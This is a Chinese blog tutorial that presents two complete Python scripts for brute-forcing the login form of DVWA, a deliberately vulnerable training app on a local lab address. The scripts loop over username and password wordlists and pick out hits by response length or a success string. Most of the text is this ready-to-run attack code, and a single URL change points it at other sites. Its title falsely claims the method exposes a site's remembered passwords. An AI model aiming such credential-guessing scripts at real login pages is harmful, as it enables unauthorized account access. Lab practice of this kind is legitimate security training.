网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。

 测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级。

关键代码解释

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {

    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',

    'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'

}

payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}

这一行的作用是作一次get请求,响应信息被变量Response接收。

 Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样。

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):

    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度。

result = str(Response.status_code) + ',' + username + ','\

  + password + ',' + str(len(Response.content))

f.write(result + '\n')

完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requests


url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看

header = {

    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',

    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'

}


f = open('result.csv','w')

f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):

    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

        username = admin.strip()

        password = line.strip()

        payload = {'username':username,'password':password,"Login":'Login'}

        Response = requests.get(url,params=payload,headers=header)

        result = str(Response.status_code) + ',' + username + ','\

            + password + ',' + str(len(Response.content))

        f.write(result + '\n')


print('\n完成')

运行

网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。

编辑

添加图片注释,不超过 140 字(可选)

这就是脚本发送的数据包

网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。

编辑

添加图片注释,不超过 140 字(可选)

查看结果

网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。

编辑

添加图片注释,不超过 140 字(可选)

查看包长度与其他不同的数据,登录测试

网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。

编辑

添加图片注释,不超过 140 字(可选)

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。

主要改动在第17到20行

import requests


url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看

header = {

    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',

    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'

}


f = open('result.txt','w')

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):

    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

        username = admin.strip()

        password = line.strip()

        payload = {'username':username,'password':password,"Login":'Login'}

        Response = requests.get(url,params=payload,headers=header)

        if not(Response.text.find('Welcome to the password protected area')==-1):

            result = username + ':' + password

            print(result)

            f.write(result + '\n')

            

print('\n完成')

运行

网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。

编辑

添加图片注释,不超过 140 字(可选)

网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。

编辑

添加图片注释,不超过 140 字(可选)

此项目为Python代码演示项目。不可用于非法用途。当然你如果能用别人电脑,手机。那本身网站就记录了密码的。所以就是一个项目演示效果。哈哈哈。需要源码的关注公众号:Python源码 领取完整代码

上一篇:网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。


下一篇:springboot 项目中通过 mybatis-spring-boot-starter 来使用mybatis